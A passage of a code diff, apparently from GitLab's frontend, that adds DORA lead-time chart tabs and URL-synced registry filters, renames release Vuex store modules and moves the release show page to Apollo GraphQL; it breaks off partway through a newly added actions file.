--- a/app/assets/javascripts/projects/pipelines/charts/components/app.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/app.vue
@@ -3,8 +3,6 @@ import { GlTabs, GlTab } from '@gitlab/ui';
import { mergeUrlParams, updateHistory, getParameterValues } from '~/lib/utils/url_utility';
import PipelineCharts from './pipeline_charts.vue';
-const charts = ['pipelines', 'deployments'];
-
export default {
components: {
GlTabs,
@@ -12,9 +10,11 @@ export default {
PipelineCharts,
DeploymentFrequencyCharts: () =>
import('ee_component/projects/pipelines/charts/components/deployment_frequency_charts.vue'),
+ LeadTimeCharts: () =>
+ import('ee_component/projects/pipelines/charts/components/lead_time_charts.vue'),
},
inject: {
- shouldRenderDeploymentFrequencyCharts: {
+ shouldRenderDoraCharts: {
type: Boolean,
default: false,
},
@@ -24,20 +24,31 @@ export default {
selectedTab: 0,
};
},
+ computed: {
+ charts() {
+ const chartsToShow = ['pipelines'];
+
+ if (this.shouldRenderDoraCharts) {
+ chartsToShow.push('deployments', 'lead-time');
+ }
+
+ return chartsToShow;
+ },
+ },
created() {
this.selectTab();
window.addEventListener('popstate', this.selectTab);
},
methods: {
selectTab() {
- const [chart] = getParameterValues('chart') || charts;
- const tab = charts.indexOf(chart);
+ const [chart] = getParameterValues('chart') || this.charts;
+ const tab = this.charts.indexOf(chart);
this.selectedTab = tab >= 0 ? tab : 0;
},
onTabChange(index) {
if (index !== this.selectedTab) {
this.selectedTab = index;
- const path = mergeUrlParams({ chart: charts[index] }, window.location.pathname);
+ const path = mergeUrlParams({ chart: this.charts[index] }, window.location.pathname);
updateHistory({ url: path, title: window.title });
}
},
@@ -46,13 +57,18 @@ export default {
</script>
<template>
<div>
- <gl-tabs v-if="shouldRenderDeploymentFrequencyCharts" :value="selectedTab" @input="onTabChange">
+ <gl-tabs v-if="charts.length > 1" :value="selectedTab" @input="onTabChange">
<gl-tab :title="__('Pipelines')">
<pipeline-charts />
</gl-tab>
- <gl-tab :title="__('Deployments')">
- <deployment-frequency-charts />
- </gl-tab>
+ <template v-if="shouldRenderDoraCharts">
+ <gl-tab :title="__('Deployments')">
+ <deployment-frequency-charts />
+ </gl-tab>
+ <gl-tab :title="__('Lead Time')">
+ <lead-time-charts />
+ </gl-tab>
+ </template>
</gl-tabs>
<pipeline-charts v-else />
</div>
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_area_chart.vue b/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_area_chart.vue
index 3590e2c4632..ad3e6713e45 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_area_chart.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_area_chart.vue
@@ -30,12 +30,16 @@ export default {
<resizable-chart-container>
<gl-area-chart
slot-scope="{ width }"
+ v-bind="$attrs"
:width="width"
:height="$options.chartContainerHeight"
:data="chartData"
:include-legend-avg-max="false"
:option="areaChartOptions"
- />
+ >
+ <slot slot="tooltip-title" name="tooltip-title"></slot>
+ <slot slot="tooltip-content" name="tooltip-content"></slot>
+ </gl-area-chart>
</resizable-chart-container>
</div>
</template>
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_charts.vue b/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_charts.vue
index 43b36da8b2c..f4fd57e4cdc 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_charts.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_charts.vue
@@ -41,10 +41,14 @@ export default {
<gl-segmented-control v-model="selectedChart" :options="chartRanges" class="gl-mb-4" />
<ci-cd-analytics-area-chart
v-if="chart"
+ v-bind="$attrs"
:chart-data="chart.data"
:area-chart-options="chartOptions"
>
{{ dateRange }}
+
+ <slot slot="tooltip-title" name="tooltip-title"></slot>
+ <slot slot="tooltip-content" name="tooltip-content"></slot>
</ci-cd-analytics-area-chart>
</div>
</template>
diff --git a/app/assets/javascripts/projects/pipelines/charts/index.js b/app/assets/javascripts/projects/pipelines/charts/index.js
index 7e746423b6a..5f5ee44c204 100644
--- a/app/assets/javascripts/projects/pipelines/charts/index.js
+++ b/app/assets/javascripts/projects/pipelines/charts/index.js
@@ -13,9 +13,7 @@ const apolloProvider = new VueApollo({
const mountPipelineChartsApp = (el) => {
const { projectPath } = el.dataset;
- const shouldRenderDeploymentFrequencyCharts = parseBoolean(
- el.dataset.shouldRenderDeploymentFrequencyCharts,
- );
+ const shouldRenderDoraCharts = parseBoolean(el.dataset.shouldRenderDoraCharts);
return new Vue({
el,
@@ -26,7 +24,7 @@ const mountPipelineChartsApp = (el) => {
apolloProvider,
provide: {
projectPath,
- shouldRenderDeploymentFrequencyCharts,
+ shouldRenderDoraCharts,
},
render: (createElement) => createElement(ProjectPipelinesCharts, {}),
});
diff --git a/app/assets/javascripts/registry/explorer/pages/list.vue b/app/assets/javascripts/registry/explorer/pages/list.vue
index 625d491db6a..589b88d7bbe 100644
--- a/app/assets/javascripts/registry/explorer/pages/list.vue
+++ b/app/assets/javascripts/registry/explorer/pages/list.vue
@@ -11,6 +11,8 @@ import {
import { get } from 'lodash';
import getContainerRepositoriesQuery from 'shared_queries/container_registry/get_container_repositories.query.graphql';
import createFlash from '~/flash';
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
+import { extractFilterAndSorting } from '~/packages_and_registries/shared/utils';
import Tracking from '~/tracking';
import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
import DeleteImage from '../components/delete_image.vue';
@@ -81,6 +83,9 @@ export default {
searchConfig: SORT_FIELDS,
apollo: {
baseImages: {
+ skip() {
+ return !this.fetchBaseQuery;
+ },
query: getContainerRepositoriesQuery,
variables() {
return this.queryVariables;
@@ -124,15 +129,19 @@ export default {
sorting: { orderBy: 'UPDATED', sort: 'desc' },
name: null,
mutationLoading: false,
+ fetchBaseQuery: false,
fetchAdditionalDetails: false,
};
},
computed: {
images() {
- return this.baseImages.map((image, index) => ({
- ...image,
- ...get(this.additionalDetails, index, {}),
- }));
+ if (this.baseImages) {
+ return this.baseImages.map((image, index) => ({
+ ...image,
+ ...get(this.additionalDetails, index, {}),
+ }));
+ }
+ return [];
},
graphqlResource() {
return this.config.isGroupPage ? 'group' : 'project';
@@ -171,8 +180,15 @@ export default {
},
},
mounted() {
+ const { sorting, filters } = extractFilterAndSorting(this.$route.query);
+
+ this.filter = [...filters];
+ this.name = filters[0]?.value.data;
+ this.sorting = { ...this.sorting, ...sorting };
+
// If the two graphql calls - which are not batched - resolve togheter we will have a race
// condition when apollo sets the cache, with this we give the 'base' call an headstart
+ this.fetchBaseQuery = true;
setTimeout(() => {
this.fetchAdditionalDetails = true;
}, 200);
@@ -241,9 +257,12 @@ export default {
};
},
doFilter() {
- const search = this.filter.find((i) => i.type === 'filtered-search-term');
+ const search = this.filter.find((i) => i.type === FILTERED_SEARCH_TERM);
this.name = search?.value?.data;
},
+ updateUrlQueryString(query) {
+ this.$router.push({ query });
+ },
},
};
</script>
@@ -303,6 +322,7 @@ export default {
@sorting:changed="updateSorting"
@filter:changed="filter = $event"
@filter:submit="doFilter"
+ @query:changed="updateUrlQueryString"
/>
<div v-if="isLoading" class="gl-mt-5">
diff --git a/app/assets/javascripts/registry/settings/components/settings_form.vue b/app/assets/javascripts/registry/settings/components/settings_form.vue
index eb731c382e1..1360e09a75d 100644
--- a/app/assets/javascripts/registry/settings/components/settings_form.vue
+++ b/app/assets/javascripts/registry/settings/components/settings_form.vue
@@ -110,12 +110,12 @@ export default {
mutationVariables() {
return {
projectPath: this.projectPath,
- enabled: this.value.enabled,
- cadence: this.value.cadence,
- olderThan: this.value.olderThan,
- keepN: this.value.keepN,
- nameRegex: this.value.nameRegex,
- nameRegexKeep: this.value.nameRegexKeep,
+ enabled: this.prefilledForm.enabled,
+ cadence: this.prefilledForm.cadence,
+ olderThan: this.prefilledForm.olderThan,
+ keepN: this.prefilledForm.keepN,
+ nameRegex: this.prefilledForm.nameRegex,
+ nameRegexKeep: this.prefilledForm.nameRegexKeep,
};
},
},
@@ -291,8 +291,8 @@ export default {
type="submit"
:disabled="isSubmitButtonDisabled"
:loading="showLoadingIcon"
- variant="success"
category="primary"
+ variant="confirm"
class="js-no-auto-disable gl-mr-4"
>
{{ $options.i18n.SET_CLEANUP_POLICY_BUTTON }}
diff --git a/app/assets/javascripts/releases/components/app_edit_new.vue b/app/assets/javascripts/releases/components/app_edit_new.vue
index a8c7b7c857a..aecd0d6371e 100644
--- a/app/assets/javascripts/releases/components/app_edit_new.vue
+++ b/app/assets/javascripts/releases/components/app_edit_new.vue
@@ -22,7 +22,7 @@ export default {
TagField,
},
computed: {
- ...mapState('detail', [
+ ...mapState('editNew', [
'isFetchingRelease',
'isUpdatingRelease',
'fetchError',
@@ -36,13 +36,13 @@ export default {
'groupId',
'groupMilestonesAvailable',
]),
- ...mapGetters('detail', ['isValid', 'isExistingRelease']),
+ ...mapGetters('editNew', ['isValid', 'isExistingRelease']),
showForm() {
return Boolean(!this.isFetchingRelease && !this.fetchError && this.release);
},
releaseTitle: {
get() {
- return this.$store.state.detail.release.name;
+ return this.$store.state.editNew.release.name;
},
set(title) {
this.updateReleaseTitle(title);
@@ -50,7 +50,7 @@ export default {
},
releaseNotes: {
get() {
- return this.$store.state.detail.release.description;
+ return this.$store.state.editNew.release.description;
},
set(notes) {
this.updateReleaseNotes(notes);
@@ -58,7 +58,7 @@ export default {
},
releaseMilestones: {
get() {
- return this.$store.state.detail.release.milestones;
+ return this.$store.state.editNew.release.milestones;
},
set(milestones) {
this.updateReleaseMilestones(milestones);
@@ -93,7 +93,7 @@ export default {
this.$el.querySelector('input:enabled, button:enabled').focus();
},
methods: {
- ...mapActions('detail', [
+ ...mapActions('editNew', [
'initializeRelease',
'saveRelease',
'updateReleaseTitle',
@@ -114,7 +114,7 @@ export default {
<gl-sprintf
:message="
__(
- 'Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}.',
+ 'Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}.',
)
"
>
diff --git a/app/assets/javascripts/releases/components/app_index.vue b/app/assets/javascripts/releases/components/app_index.vue
index 32183e454c8..262b5614d65 100644
--- a/app/assets/javascripts/releases/components/app_index.vue
+++ b/app/assets/javascripts/releases/components/app_index.vue
@@ -20,7 +20,7 @@ export default {
ReleasesSort,
},
computed: {
- ...mapState('list', [
+ ...mapState('index', [
'documentationPath',
'illustrationPath',
'newReleasePath',
@@ -46,7 +46,7 @@ export default {
window.addEventListener('popstate', this.fetchReleases);
},
methods: {
- ...mapActions('list', {
+ ...mapActions('index', {
fetchReleasesStoreAction: 'fetchReleases',
}),
fetchReleases() {
diff --git a/app/assets/javascripts/releases/components/app_show.vue b/app/assets/javascripts/releases/components/app_show.vue
index 9ef38503c10..c38e93d420b 100644
--- a/app/assets/javascripts/releases/components/app_show.vue
+++ b/app/assets/javascripts/releases/components/app_show.vue
@@ -1,5 +1,8 @@
<script>
-import { mapState, mapActions } from 'vuex';
+import createFlash from '~/flash';
+import { s__ } from '~/locale';
+import oneReleaseQuery from '../queries/one_release.query.graphql';
+import { convertGraphQLRelease } from '../util';
import ReleaseBlock from './release_block.vue';
import ReleaseSkeletonLoader from './release_skeleton_loader.vue';
@@ -9,21 +12,58 @@ export default {
ReleaseBlock,
ReleaseSkeletonLoader,
},
- computed: {
- ...mapState('detail', ['isFetchingRelease', 'fetchError', 'release']),
+ inject: {
+ fullPath: {
+ default: '',
+ },
+ tagName: {
+ default: '',
+ },
},
- created() {
- this.fetchRelease();
+ apollo: {
+ release: {
+ query: oneReleaseQuery,
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ tagName: this.tagName,
+ };
+ },
+ update(data) {
+ if (data.project?.release) {
+ return convertGraphQLRelease(data.project.release);
+ }
+
+ return null;
+ },
+ result(result) {
+ // Handle the case where the query succeeded but didn't return any data
+ if (!result.error && !this.release) {
+ this.showFlash(
+ new Error(`No release found in project "${this.fullPath}" with tag "${this.tagName}"`),
+ );
+ }
+ },
+ error(error) {
+ this.showFlash(error);
+ },
+ },
},
methods: {
- ...mapActions('detail', ['fetchRelease']),
+ showFlash(error) {
+ createFlash({
+ message: s__('Release|Something went wrong while getting the release details.'),
+ captureError: true,
+ error,
+ });
+ },
},
};
</script>
<template>
<div class="gl-mt-3">
- <release-skeleton-loader v-if="isFetchingRelease" />
+ <release-skeleton-loader v-if="$apollo.queries.release.loading" />
- <release-block v-else-if="!fetchError" :release="release" />
+ <release-block v-else-if="release" :release="release" />
</div>
</template>
diff --git a/app/assets/javascripts/releases/components/asset_links_form.vue b/app/assets/javascripts/releases/components/asset_links_form.vue
index cfcb9f6978d..b9601428850 100644
--- a/app/assets/javascripts/releases/components/asset_links_form.vue
+++ b/app/assets/javascripts/releases/components/asset_links_form.vue
@@ -26,14 +26,14 @@ export default {
},
directives: { GlTooltip: GlTooltipDirective },
computed: {
- ...mapState('detail', ['release', 'releaseAssetsDocsPath']),
- ...mapGetters('detail', ['validationErrors']),
+ ...mapState('editNew', ['release', 'releaseAssetsDocsPath']),
+ ...mapGetters('editNew', ['validationErrors']),
},
created() {
this.ensureAtLeastOneLink();
},
methods: {
- ...mapActions('detail', [
+ ...mapActions('editNew', [
'addEmptyAssetLink',
'updateAssetLinkUrl',
'updateAssetLinkName',
diff --git a/app/assets/javascripts/releases/components/release_block_header.vue b/app/assets/javascripts/releases/components/release_block_header.vue
index 356fc0f3bf3..89bc314db89 100644
--- a/app/assets/javascripts/releases/components/release_block_header.vue
+++ b/app/assets/javascripts/releases/components/release_block_header.vue
@@ -1,9 +1,13 @@
<script>
import { GlTooltipDirective, GlLink, GlBadge, GlButton, GlIcon } from '@gitlab/ui';
import { setUrlParams } from '~/lib/utils/url_utility';
+import { __ } from '~/locale';
import { BACK_URL_PARAM } from '~/releases/constants';
export default {
+ i18n: {
+ editButton: __('Edit this release'),
+ },
name: 'ReleaseBlockHeader',
components: {
GlLink,
@@ -69,7 +73,8 @@ export default {
variant="default"
icon="pencil"
class="gl-mr-3 js-edit-button ml-2 pb-2"
- :title="__('Edit this release')"
+ :title="$options.i18n.editButton"
+ :aria-label="$options.i18n.editButton"
:href="editLink"
/>
</div>
diff --git a/app/assets/javascripts/releases/components/release_block_milestone_info.vue b/app/assets/javascripts/releases/components/release_block_milestone_info.vue
index cf4a6e07af7..de10b210ecd 100644
--- a/app/assets/javascripts/releases/components/release_block_milestone_info.vue
+++ b/app/assets/javascripts/releases/components/release_block_milestone_info.vue
@@ -179,7 +179,7 @@ export default {
/>
<issuable-stats
v-if="showMergeRequestStats"
- :label="__('Merge Requests')"
+ :label="__('Merge requests')"
:total="mergeRequestCounts.total"
:merged="mergeRequestCounts.merged"
:closed="mergeRequestCounts.closed"
diff --git a/app/assets/javascripts/releases/components/releases_pagination_graphql.vue b/app/assets/javascripts/releases/components/releases_pagination_graphql.vue
index 7d024c47fb9..13cbf95b9af 100644
--- a/app/assets/javascripts/releases/components/releases_pagination_graphql.vue
+++ b/app/assets/javascripts/releases/components/releases_pagination_graphql.vue
@@ -7,13 +7,13 @@ export default {
name: 'ReleasesPaginationGraphql',
components: { GlKeysetPagination },
computed: {
- ...mapState('list', ['graphQlPageInfo']),
+ ...mapState('index', ['graphQlPageInfo']),
showPagination() {
return this.graphQlPageInfo.hasPreviousPage || this.graphQlPageInfo.hasNextPage;
},
},
methods: {
- ...mapActions('list', ['fetchReleases']),
+ ...mapActions('index', ['fetchReleases']),
onPrev(before) {
historyPushState(buildUrlWithCurrentLocation(`?before=${before}`));
this.fetchReleases({ before });
diff --git a/app/assets/javascripts/releases/components/releases_pagination_rest.vue b/app/assets/javascripts/releases/components/releases_pagination_rest.vue
index 24abb0f4498..5e97a5a0450 100644
--- a/app/assets/javascripts/releases/components/releases_pagination_rest.vue
+++ b/app/assets/javascripts/releases/components/releases_pagination_rest.vue
@@ -7,10 +7,10 @@ export default {
name: 'ReleasesPaginationRest',
components: { TablePagination },
computed: {
- ...mapState('list', ['restPageInfo']),
+ ...mapState('index', ['restPageInfo']),
},
methods: {
- ...mapActions('list', ['fetchReleases']),
+ ...mapActions('index', ['fetchReleases']),
onChangePage(page) {
historyPushState(buildUrlWithCurrentLocation(`?page=${page}`));
this.fetchReleases({ page });
diff --git a/app/assets/javascripts/releases/components/releases_sort.vue b/app/assets/javascripts/releases/components/releases_sort.vue
index c8e6e0e4996..4988904a2cd 100644
--- a/app/assets/javascripts/releases/components/releases_sort.vue
+++ b/app/assets/javascripts/releases/components/releases_sort.vue
@@ -10,7 +10,7 @@ export default {
GlSortingItem,
},
computed: {
- ...mapState('list', {
+ ...mapState('index', {
orderBy: (state) => state.sorting.orderBy,
sort: (state) => state.sorting.sort,
}),
@@ -26,7 +26,7 @@ export default {
},
},
methods: {
- ...mapActions('list', ['setSorting']),
+ ...mapActions('index', ['setSorting']),
onDirectionChange() {
const sort = this.isSortAscending ? DESCENDING_ORDER : ASCENDING_ODER;
this.setSorting({ sort });
diff --git a/app/assets/javascripts/releases/components/tag_field.vue b/app/assets/javascripts/releases/components/tag_field.vue
index ed8d6e62926..f4c0fd5e9ce 100644
--- a/app/assets/javascripts/releases/components/tag_field.vue
+++ b/app/assets/javascripts/releases/components/tag_field.vue
@@ -9,7 +9,7 @@ export default {
TagFieldNew,
},
computed: {
- ...mapGetters('detail', ['isExistingRelease']),
+ ...mapGetters('editNew', ['isExistingRelease']),
},
};
</script>
diff --git a/app/assets/javascripts/releases/components/tag_field_existing.vue b/app/assets/javascripts/releases/components/tag_field_existing.vue
index 3345bbecf6e..11945fbaf3d 100644
--- a/app/assets/javascripts/releases/components/tag_field_existing.vue
+++ b/app/assets/javascripts/releases/components/tag_field_existing.vue
@@ -8,7 +8,7 @@ export default {
name: 'TagFieldExisting',
components: { GlFormGroup, GlFormInput, FormFieldContainer },
computed: {
- ...mapState('detail', ['release']),
+ ...mapState('editNew', ['release']),
inputId() {
return uniqueId('tag-name-input-');
},
diff --git a/app/assets/javascripts/releases/components/tag_field_new.vue b/app/assets/javascripts/releases/components/tag_field_new.vue
index 21360a5c6cb..9df646ca798 100644
--- a/app/assets/javascripts/releases/components/tag_field_new.vue
+++ b/app/assets/javascripts/releases/components/tag_field_new.vue
@@ -27,8 +27,8 @@ export default {
};
},
computed: {
- ...mapState('detail', ['projectId', 'release', 'createFrom']),
- ...mapGetters('detail', ['validationErrors']),
+ ...mapState('editNew', ['projectId', 'release', 'createFrom']),
+ ...mapGetters('editNew', ['validationErrors']),
tagName: {
get() {
return this.release.tagName;
@@ -62,7 +62,7 @@ export default {
},
},
methods: {
- ...mapActions('detail', ['updateReleaseTagName', 'updateCreateFrom']),
+ ...mapActions('editNew', ['updateReleaseTagName', 'updateCreateFrom']),
markInputAsDirty() {
this.isInputDirty = true;
},
diff --git a/app/assets/javascripts/releases/mount_edit.js b/app/assets/javascripts/releases/mount_edit.js
index 1232d55847b..fad0451ceef 100644
--- a/app/assets/javascripts/releases/mount_edit.js
+++ b/app/assets/javascripts/releases/mount_edit.js
@@ -2,7 +2,7 @@ import Vue from 'vue';
import Vuex from 'vuex';
import ReleaseEditNewApp from './components/app_edit_new.vue';
import createStore from './stores';
-import createDetailModule from './stores/modules/detail';
+import createEditNewModule from './stores/modules/edit_new';
Vue.use(Vuex);
@@ -11,7 +11,7 @@ export default () => {
const store = createStore({
modules: {
- detail: createDetailModule(el.dataset),
+ editNew: createEditNewModule(el.dataset),
},
});
diff --git a/app/assets/javascripts/releases/mount_index.js b/app/assets/javascripts/releases/mount_index.js
index a9538cbc9e5..0b453467c13 100644
--- a/app/assets/javascripts/releases/mount_index.js
+++ b/app/assets/javascripts/releases/mount_index.js
@@ -1,8 +1,8 @@
import Vue from 'vue';
import Vuex from 'vuex';
-import ReleaseListApp from './components/app_index.vue';
+import ReleaseIndexApp from './components/app_index.vue';
import createStore from './stores';
-import createListModule from './stores/modules/list';
+import createIndexModule from './stores/modules/index';
Vue.use(Vuex);
@@ -13,7 +13,7 @@ export default () => {
el,
store: createStore({
modules: {
- list: createListModule(el.dataset),
+ index: createIndexModule(el.dataset),
},
featureFlags: {
graphqlReleaseData: Boolean(gon.features?.graphqlReleaseData),
@@ -21,6 +21,6 @@ export default () => {
graphqlMilestoneStats: Boolean(gon.features?.graphqlMilestoneStats),
},
}),
- render: (h) => h(ReleaseListApp),
+ render: (h) => h(ReleaseIndexApp),
});
};
diff --git a/app/assets/javascripts/releases/mount_new.js b/app/assets/javascripts/releases/mount_new.js
index d85f4cf77d5..b358a27f06d 100644
--- a/app/assets/javascripts/releases/mount_new.js
+++ b/app/assets/javascripts/releases/mount_new.js
@@ -2,7 +2,7 @@ import Vue from 'vue';
import Vuex from 'vuex';
import ReleaseEditNewApp from './components/app_edit_new.vue';
import createStore from './stores';
-import createDetailModule from './stores/modules/detail';
+import createEditNewModule from './stores/modules/edit_new';
Vue.use(Vuex);
@@ -11,7 +11,7 @@ export default () => {
const store = createStore({
modules: {
- detail: createDetailModule(el.dataset),
+ editNew: createEditNewModule(el.dataset),
},
});
diff --git a/app/assets/javascripts/releases/mount_show.js b/app/assets/javascripts/releases/mount_show.js
index f3ed7d6c5ff..7272880197a 100644
--- a/app/assets/javascripts/releases/mount_show.js
+++ b/app/assets/javascripts/releases/mount_show.js
@@ -1,26 +1,28 @@
import Vue from 'vue';
-import Vuex from 'vuex';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
import ReleaseShowApp from './components/app_show.vue';
-import createStore from './stores';
-import createDetailModule from './stores/modules/detail';
-Vue.use(Vuex);
+Vue.use(VueApollo);
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
export default () => {
const el = document.getElementById('js-show-release-page');
- const store = createStore({
- modules: {
- detail: createDetailModule(el.dataset),
- },
- featureFlags: {
- graphqlIndividualReleasePage: Boolean(gon.features?.graphqlIndividualReleasePage),
- },
- });
+ if (!el) return false;
+
+ const { projectPath, tagName } = el.dataset;
return new Vue({
el,
- store,
+ apolloProvider,
+ provide: {
+ fullPath: projectPath,
+ tagName,
+ },
render: (h) => h(ReleaseShowApp),
});
};
diff --git a/app/assets/javascripts/releases/stores/modules/detail/actions.js b/app/assets/javascripts/releases/stores/modules/detail/actions.js
deleted file mode 100644
index 5fa002706c6..00000000000
--- a/app/assets/javascripts/releases/stores/modules/detail/actions.js
+++ /dev/null
@@ -1,187 +0,0 @@
-import api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { redirectTo } from '~/lib/utils/url_utility';
-import { s__ } from '~/locale';
-import oneReleaseQuery from '~/releases/queries/one_release.query.graphql';
-import {
- releaseToApiJson,
- apiJsonToRelease,
- gqClient,
- convertOneReleaseGraphQLResponse,
-} from '~/releases/util';
-import * as types from './mutation_types';
-
-export const initializeRelease = ({ commit, dispatch, getters }) => {
- if (getters.isExistingRelease) {
- // When editing an existing release,
- // fetch the release object from the API
- return dispatch('fetchRelease');
- }
-
- // When creating a new release, initialize the
- // store with an empty release object
- commit(types.INITIALIZE_EMPTY_RELEASE);
- return Promise.resolve();
-};
-
-export const fetchRelease = ({ commit, state, rootState }) => {
- commit(types.REQUEST_RELEASE);
-
- if (rootState.featureFlags?.graphqlIndividualReleasePage) {
- return gqClient
- .query({
- query: oneReleaseQuery,
- variables: {
- fullPath: state.projectPath,
- tagName: state.tagName,
- },
- })
- .then((response) => {
- const { data: release } = convertOneReleaseGraphQLResponse(response);
-
- commit(types.RECEIVE_RELEASE_SUCCESS, release);
- })
- .catch((error) => {
- commit(types.RECEIVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while getting the release details'));
- });
- }
-
- return api
- .release(state.projectId, state.tagName)
- .then(({ data }) => {
- commit(types.RECEIVE_RELEASE_SUCCESS, apiJsonToRelease(data));
- })
- .catch((error) => {
- commit(types.RECEIVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while getting the release details'));
- });
-};
-
-export const updateReleaseTagName = ({ commit }, tagName) =>
- commit(types.UPDATE_RELEASE_TAG_NAME, tagName);
-
-export const updateCreateFrom = ({ commit }, createFrom) =>
- commit(types.UPDATE_CREATE_FROM, createFrom);
-
-export const updateReleaseTitle = ({ commit }, title) => commit(types.UPDATE_RELEASE_TITLE, title);
-
-export const updateReleaseNotes = ({ commit }, notes) => commit(types.UPDATE_RELEASE_NOTES, notes);
-
-export const updateReleaseMilestones = ({ commit }, milestones) =>
- commit(types.UPDATE_RELEASE_MILESTONES, milestones);
-
-export const updateReleaseGroupMilestones = ({ commit }, groupMilestones) =>
- commit(types.UPDATE_RELEASE_GROUP_MILESTONES, groupMilestones);
-
-export const addEmptyAssetLink = ({ commit }) => {
- commit(types.ADD_EMPTY_ASSET_LINK);
-};
-
-export const updateAssetLinkUrl = ({ commit }, { linkIdToUpdate, newUrl }) => {
- commit(types.UPDATE_ASSET_LINK_URL, { linkIdToUpdate, newUrl });
-};
-
-export const updateAssetLinkName = ({ commit }, { linkIdToUpdate, newName }) => {
- commit(types.UPDATE_ASSET_LINK_NAME, { linkIdToUpdate, newName });
-};
-
-export const updateAssetLinkType = ({ commit }, { linkIdToUpdate, newType }) => {
- commit(types.UPDATE_ASSET_LINK_TYPE, { linkIdToUpdate, newType });
-};
-
-export const removeAssetLink = ({ commit }, linkIdToRemove) => {
- commit(types.REMOVE_ASSET_LINK, linkIdToRemove);
-};
-
-export const receiveSaveReleaseSuccess = ({ commit }, release) => {
- commit(types.RECEIVE_SAVE_RELEASE_SUCCESS);
- redirectTo(release._links.self);
-};
-
-export const saveRelease = ({ commit, dispatch, getters }) => {
- commit(types.REQUEST_SAVE_RELEASE);
-
- dispatch(getters.isExistingRelease ? 'updateRelease' : 'createRelease');
-};
-
-export const createRelease = ({ commit, dispatch, state, getters }) => {
- const apiJson = releaseToApiJson(
- {
- ...state.release,
- assets: {
- links: getters.releaseLinksToCreate,
- },
- },
- state.createFrom,
- );
-
- return api
- .createRelease(state.projectId, apiJson)
- .then(({ data }) => {
- dispatch('receiveSaveReleaseSuccess', apiJsonToRelease(data));
- })
- .catch((error) => {
- commit(types.RECEIVE_SAVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while creating a new release'));
- });
-};
-
-export const updateRelease = ({ commit, dispatch, state, getters }) => {
- const apiJson = releaseToApiJson({
- ...state.release,
- assets: {
- links: getters.releaseLinksToCreate,
- },
- });
-
- let updatedRelease = null;
-
- return (
- api
- .updateRelease(state.projectId, state.tagName, apiJson)
-
- /**
- * Currently, we delete all existing links and then
- * recreate new ones on each edit. This is because the
- * REST API doesn't support bulk updating of Release links,
- * and updating individual links can lead to validation
- * race conditions (in particular, the "URLs must be unique")
- * constraint.
- *
- * This isn't ideal since this is no longer an atomic
- * operation - parts of it can fail while others succeed,
- * leaving the Release in an inconsistent state.
- *
- * This logic should be refactored to use GraphQL once
- * https://gitlab.com/gitlab-org/gitlab/-/issues/208702
- * is closed.
- */
- .then(({ data }) => {
- // Save this response since we need it later in the Promise chain
- updatedRelease = data;
-
- // Delete all links currently associated with this Release
- return Promise.all(
- getters.releaseLinksToDelete.map((l) =>
- api.deleteReleaseLink(state.projectId, state.release.tagName, l.id),
- ),
- );
- })
- .then(() => {
- // Create a new link for each link in the form
- return Promise.all(
- apiJson.assets.links.map((l) =>
- api.createReleaseLink(state.projectId, state.release.tagName, l),
- ),
- );
- })
- .then(() => {
- dispatch('receiveSaveReleaseSuccess', apiJsonToRelease(updatedRelease));
- })
- .catch((error) => {
- commit(types.RECEIVE_SAVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while saving the release details'));
- })
- );
-};
diff --git a/app/assets/javascripts/releases/stores/modules/edit_new/actions.js b/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
new file mode 100644
index 00000000000..8dc2083dd2b
--- /dev/null
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
@@ -0,0 +1,187 @@
+import api from '~/api';
+import { deprecatedCreateFlash as createFlash } from '~/flash';
+import { redirectTo } from '~/lib/utils/url_utility';
+import { s__ } from '~/locale';
+import oneReleaseQuery from '~/releases/queries/one_release.query.graphql';
+import {
+ releaseToApiJson,
+ apiJsonToRelease,
+ gqClient,
+ convertOneReleaseGraphQLResponse,
+} from '~/releases/util';
+import * as types from './mutation_types';
+
+export const initializeRelease = ({ commit, dispatch, getters }) => {
+ if (getters.isExistingRelease) {
+ // When editing an existing release,
+ // fetch the release object from the API
+ return dispatch('fetchRelease');
+ }
+
+ // When creating a new release, initialize the
+ // store with an empty release object
+ commit(types.INITIALIZE_EMPTY_RELEASE);
+ return Promise.resolve();
+};
+
+export const fetchRelease = ({ commit, state, rootState }) => {
+ commit(types.REQUEST_RELEASE);
+
+ if (rootState.featureFlags?.graphqlIndividualReleasePage) {
+ return gqClient
+ .query({
+ query: oneReleaseQuery,
+ variables: {
+ fullPath: state.projectPath,
+ tagName: state.tagName,
+ },
+ })
+ .then((response) => {
+ const { data: release } = convertOneReleaseGraphQLResponse(response);
+
+ commit(types.RECEIVE_RELEASE_SUCCESS, release);
+ })
+ .catch((error) => {
+ commit(types.RECEIVE_RELEASE_ERROR, error);
+ createFlash(s__('Release|Something went wrong while getting the release details.'));
+ });
+ }
+
+ return api
+ .release(state.projectId, state.tagName)
+ .then(({ data }) => {
+ commit(types.RECEIVE_RELEASE_SUCCESS, apiJsonToRelease(data));
+ })
+ .catch((error) => {
+ commit(types.RECEIVE_RELEASE_ERROR, error);
